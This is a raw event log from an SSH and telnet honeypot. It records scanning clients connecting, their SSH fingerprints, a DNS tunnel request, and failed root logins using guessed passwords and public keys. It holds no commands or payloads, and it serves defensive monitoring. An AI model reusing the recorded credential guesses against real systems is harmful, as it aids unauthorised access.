{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:31:05.518182Z","session":"9f169614d5e9","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:31:05.614776Z","src_ip":"87.251.64.176","session":"9f169614d5e9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:31:05.845023Z","src_ip":"87.251.64.176","session":"9f169614d5e9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:31:06.264543Z","src_ip":"117.121.214.50","session":"18132a963f91","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"112.216.108.62","src_port":46070,"dst_ip":"159.203.135.109","dst_port":22,"session":"391f47d6e2ac","protocol":"ssh","message":"New connection: 112.216.108.62:46070 (159.203.135.109:22) [session: 391f47d6e2ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:31:12.812471Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:31:12.819195Z","src_ip":"112.216.108.62","session":"391f47d6e2ac","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:31:13.025044Z","src_ip":"112.216.108.62","session":"391f47d6e2ac","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"alex","password":"test","message":"login attempt [alex/test] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:31:13.880394Z","src_ip":"112.216.108.62","session":"391f47d6e2ac","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:31:15.089105Z","src_ip":"112.216.108.62","session":"391f47d6e2ac","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.93.206.2","src_port":27682,"dst_ip":"159.203.135.109","dst_port":22,"session":"a23101973fd2","protocol":"ssh","message":"New connection: 38.93.206.2:27682 (159.203.135.109:22) [session: a23101973fd2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:31:26.284564Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:31:26.288069Z","src_ip":"38.93.206.2","session":"a23101973fd2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:31:26.337719Z","src_ip":"38.93.206.2","session":"a23101973fd2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"04061983","message":"login attempt [root/04061983] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:31:26.488369Z","src_ip":"38.93.206.2","session":"a23101973fd2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:31:27.540425Z","src_ip":"38.93.206.2","session":"a23101973fd2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"59.151.192.14","src_port":4777,"dst_ip":"159.203.135.109","dst_port":23,"session":"1952bdb0c3df","protocol":"telnet","message":"New connection: 59.151.192.14:4777 (159.203.135.109:23) [session: 1952bdb0c3df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:31:32.715382Z"}
{"eventid":"cowrie.session.closed","duration":13.78995132446289,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:31:46.505113Z","src_ip":"59.151.192.14","session":"1952bdb0c3df","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":44606,"dst_ip":"159.203.135.109","dst_port":23,"session":"b3983af9e02e","protocol":"telnet","message":"New connection: 172.81.62.90:44606 (159.203.135.109:23) [session: b3983af9e02e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:32:22.145826Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.89.249.3","src_port":50734,"dst_ip":"10.17.0.5","dst_port":22,"session":"4f0f3f3377eb","protocol":"ssh","message":"New connection: 185.89.249.3:50734 (10.17.0.5:22) [session: 4f0f3f3377eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:32:50.839602Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:32:50.843548Z","src_ip":"185.89.249.3","session":"4f0f3f3377eb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:32:50.935621Z","src_ip":"185.89.249.3","session":"4f0f3f3377eb","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"7e:ab:f8:d3:5c:0a:5b:00:7d:2e:2a:f6:18:34:d4:c9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCoi4/Mp03d37ofyYvb/CgJVMPvufTfA2oNffsmeryicDxN4Jq+m4Z9t4w9bdomnTNMTfmmVct5a44PXRN/t0zIqxfDHZ/GYQt/THnqvYnAmqtg2nIYNozXpUjnoo6hpKxtCN6WeHaiLtnyzgtXZjQo8AOBqe+vrzeQs8qNma19X2+Bjq2sGMFTQGzWC8jAuwUqlECKQogzNZB7aTVlpUYofmUQ/RXiGn5JpfQiRZVH2rZyeXtj5uwo5Ka6YIshlFuhvQJ9nn+feKPMMwWnrO6IPIYI1yx0G+uR+6OMVilZNgvLDKMA01iAKusaYxovvUAuScRT0pb0tB7K/l8ihGN5","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 7e:ab:f8:d3:5c:0a:5b:00:7d:2e:2a:f6:18:34:d4:c9","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:32:51.368539Z","src_ip":"185.89.249.3","session":"4f0f3f3377eb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"7e:ab:f8:d3:5c:0a:5b:00:7d:2e:2a:f6:18:34:d4:c9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCoi4/Mp03d37ofyYvb/CgJVMPvufTfA2oNffsmeryicDxN4Jq+m4Z9t4w9bdomnTNMTfmmVct5a44PXRN/t0zIqxfDHZ/GYQt/THnqvYnAmqtg2nIYNozXpUjnoo6hpKxtCN6WeHaiLtnyzgtXZjQo8AOBqe+vrzeQs8qNma19X2+Bjq2sGMFTQGzWC8jAuwUqlECKQogzNZB7aTVlpUYofmUQ/RXiGn5JpfQiRZVH2rZyeXtj5uwo5Ka6YIshlFuhvQJ9nn+feKPMMwWnrO6IPIYI1yx0G+uR+6OMVilZNgvLDKMA01iAKusaYxovvUAuScRT0pb0tB7K/l8ihGN5","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:32:51.371776Z","src_ip":"185.89.249.3","session":"4f0f3f3377eb","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"8d:15:e8:d7:40:54:6c:52:01:02:1e:67:f9:3a:47:bc","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC7s046axTggBmSGlW8pLDs1TvKXBprSs1us94fQKgetWb1adwbU7PwN8DxnVMCqh83bg3QUX7T7/K0TByZ7bkGVjaOlPSiRkwHMR0f3bRTnIIsTz7hf8WgQ076AzQnuhpC3s2cLntYizYZ44aP1bnVtws4/LJOe54cZ12KW+6P3QbODL5WDc//HybzHcIckt2qJQ9erkRej1g2QLU1uXMFF7UxCxyWJ0YvMWJM1+KvRGrdJl1EWAzEF56EGcf7XhVBJzU48XPu5P6uOWUQPIETUK6pwhcXMDCQRWYjZVJebrNxQWAMgMIwKEHJx7mRlRqEYm5fw1YXjFo9t21XJou1","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 8d:15:e8:d7:40:54:6c:52:01:02:1e:67:f9:3a:47:bc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:32:51.463789Z","src_ip":"185.89.249.3","session":"4f0f3f3377eb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"8d:15:e8:d7:40:54:6c:52:01:02:1e:67:f9:3a:47:bc","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC7s046axTggBmSGlW8pLDs1TvKXBprSs1us94fQKgetWb1adwbU7PwN8DxnVMCqh83bg3QUX7T7/K0TByZ7bkGVjaOlPSiRkwHMR0f3bRTnIIsTz7hf8WgQ076AzQnuhpC3s2cLntYizYZ44aP1bnVtws4/LJOe54cZ12KW+6P3QbODL5WDc//HybzHcIckt2qJQ9erkRej1g2QLU1uXMFF7UxCxyWJ0YvMWJM1+KvRGrdJl1EWAzEF56EGcf7XhVBJzU48XPu5P6uOWUQPIETUK6pwhcXMDCQRWYjZVJebrNxQWAMgMIwKEHJx7mRlRqEYm5fw1YXjFo9t21XJou1","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:32:51.470640Z","src_ip":"185.89.249.3","session":"4f0f3f3377eb","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"85:91:45:0d:84:54:db:12:f7:1e:37:39:ef:6f:be:9c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC53rX+Dz2fAlhhiheUXxyYM0kFBr/mnxp4gFCc3/zFaOkOUU5yd1hvl44PMrVlgTLw9z3QcxKcH5rjaPYgUkx3mYmSa9rUTQC3eqTZ0lc3IFTC8XiMhLznDRq+dRhSJrb5LChUeSzwG2Q1rlCoy2L1Y7U9lDTPP+Z4+v1CRTG5DM41vX0gfQhRH62sVUTmLFosGyWtQhkTS+BnvvmoC2lpi/au6C05IypeAC6z9RSyFN2+eHCvy/6+vg9pgebyh1DgjvLYrqn3Euko1A8YB2jJ0N8wJwbH745yxYcO/KtbpyOyfcSO7UJqwk2y4tZHrI1YAijgnGX/+Ku5YF4NF3lB","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 85:91:45:0d:84:54:db:12:f7:1e:37:39:ef:6f:be:9c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:32:51.562443Z","src_ip":"185.89.249.3","session":"4f0f3f3377eb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"85:91:45:0d:84:54:db:12:f7:1e:37:39:ef:6f:be:9c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC53rX+Dz2fAlhhiheUXxyYM0kFBr/mnxp4gFCc3/zFaOkOUU5yd1hvl44PMrVlgTLw9z3QcxKcH5rjaPYgUkx3mYmSa9rUTQC3eqTZ0lc3IFTC8XiMhLznDRq+dRhSJrb5LChUeSzwG2Q1rlCoy2L1Y7U9lDTPP+Z4+v1CRTG5DM41vX0gfQhRH62sVUTmLFosGyWtQhkTS+BnvvmoC2lpi/au6C05IypeAC6z9RSyFN2+eHCvy/6+vg9pgebyh1DgjvLYrqn3Euko1A8YB2jJ0N8wJwbH745yxYcO/KtbpyOyfcSO7UJqwk2y4tZHrI1YAijgnGX/+Ku5YF4NF3lB","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:32:51.565903Z","src_ip":"185.89.249.3","session":"4f0f3f3377eb","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"db:5f:57:b0:d4:e2:5f:52:b6:4e:e5:ac:4f:9c:1f:c0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCgRCAu4eJoZ1b9Bi314O6+X5uud2ORh5EedsDGQDC9NmwCjZE4cc3hZbvAl79z7cG5b4k7VLCLOb+kd9C3EuEPjVC2mXASl4V71XMIm3/yxh029Qg2zpvMusWpuiDaIpXnPR+XiuDWSo08BgljlDF9Xz4kVnReVE091SWWIyuXB8336Kys8LZmKeinxT8JjxtWvu14nlrFaIG2yaKFK4jDHrHjIfQ1mQcsDyr+Oaat7d7/gzwY2JoRQe9h2znRHcnk2HY2MbEGUGDGJWX+3v8QIuDZQJUCo0GDtgE7ph3tNU2eZeqS5//Se9Ko9oAckoTwIa/PB2AsVlwO/bksbjAh","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint db:5f:57:b0:d4:e2:5f:52:b6:4e:e5:ac:4f:9c:1f:c0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:32:51.656942Z","src_ip":"185.89.249.3","session":"4f0f3f3377eb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"db:5f:57:b0:d4:e2:5f:52:b6:4e:e5:ac:4f:9c:1f:c0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCgRCAu4eJoZ1b9Bi314O6+X5uud2ORh5EedsDGQDC9NmwCjZE4cc3hZbvAl79z7cG5b4k7VLCLOb+kd9C3EuEPjVC2mXASl4V71XMIm3/yxh029Qg2zpvMusWpuiDaIpXnPR+XiuDWSo08BgljlDF9Xz4kVnReVE091SWWIyuXB8336Kys8LZmKeinxT8JjxtWvu14nlrFaIG2yaKFK4jDHrHjIfQ1mQcsDyr+Oaat7d7/gzwY2JoRQe9h2znRHcnk2HY2MbEGUGDGJWX+3v8QIuDZQJUCo0GDtgE7ph3tNU2eZeqS5//Se9Ko9oAckoTwIa/PB2AsVlwO/bksbjAh","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:32:51.660647Z","src_ip":"185.89.249.3","session":"4f0f3f3377eb","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a1:44:ed:22:65:4a:ff:41:7b:8b:e4:ed:97:bb:b0:39","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDqwgG51MDb92eYoUFfWxBsfGsshr9qMiDSBQtz+2uAjhjE6ATCVH0TU5QKihtaDvWZ8BbWRuQ9y1Fl4ZF8uU7fC2I4GAmt8OFBtK/p5rdVv40PkTBQB+e4paYrAzRyyF2PMf7awbePJsh83IPn1corz9H1MdmcV2C0hDtjDpIpFMhh51k1pW6Im+alYoFj4F2kW4+MOsI1BqCBliV5NyiiymlOaupFpjkAyula3lXtVn1ijG5Vibb0ALAjYn+2YQrbCfdNfiz92egGaaCjAO3ngxmaNOGIznzqYl/vVCVw77KIyLiEjCVv6dSJDGl1IGt6iwCeONtinBTxfybYRVDz","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint a1:44:ed:22:65:4a:ff:41:7b:8b:e4:ed:97:bb:b0:39","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:32:51.751516Z","src_ip":"185.89.249.3","session":"4f0f3f3377eb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a1:44:ed:22:65:4a:ff:41:7b:8b:e4:ed:97:bb:b0:39","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDqwgG51MDb92eYoUFfWxBsfGsshr9qMiDSBQtz+2uAjhjE6ATCVH0TU5QKihtaDvWZ8BbWRuQ9y1Fl4ZF8uU7fC2I4GAmt8OFBtK/p5rdVv40PkTBQB+e4paYrAzRyyF2PMf7awbePJsh83IPn1corz9H1MdmcV2C0hDtjDpIpFMhh51k1pW6Im+alYoFj4F2kW4+MOsI1BqCBliV5NyiiymlOaupFpjkAyula3lXtVn1ijG5Vibb0ALAjYn+2YQrbCfdNfiz92egGaaCjAO3ngxmaNOGIznzqYl/vVCVw77KIyLiEjCVv6dSJDGl1IGt6iwCeONtinBTxfybYRVDz","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:32:51.754569Z","src_ip":"185.89.249.3","session":"4f0f3f3377eb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:32:51.845286Z","src_ip":"185.89.249.3","session":"4f0f3f3377eb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.50793814659119,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:33:02.653589Z","src_ip":"172.81.62.90","session":"b3983af9e02e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"112.216.108.62","src_port":35924,"dst_ip":"159.203.135.109","dst_port":22,"session":"0cfff2926a78","protocol":"ssh","message":"New connection: 112.216.108.62:35924 (159.203.135.109:22) [session: 0cfff2926a78]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:33:08.389153Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:33:08.393473Z","src_ip":"112.216.108.62","session":"0cfff2926a78","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:33:08.600617Z","src_ip":"112.216.108.62","session":"0cfff2926a78","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Dp123456","message":"login attempt [root/Dp123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:33:09.464947Z","src_ip":"112.216.108.62","session":"0cfff2926a78","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"77.94.47.83","src_port":38354,"dst_ip":"159.203.135.109","dst_port":22,"session":"39af56fbb4ab","protocol":"ssh","message":"New connection: 77.94.47.83:38354 (159.203.135.109:22) [session: 39af56fbb4ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:33:09.543574Z"}
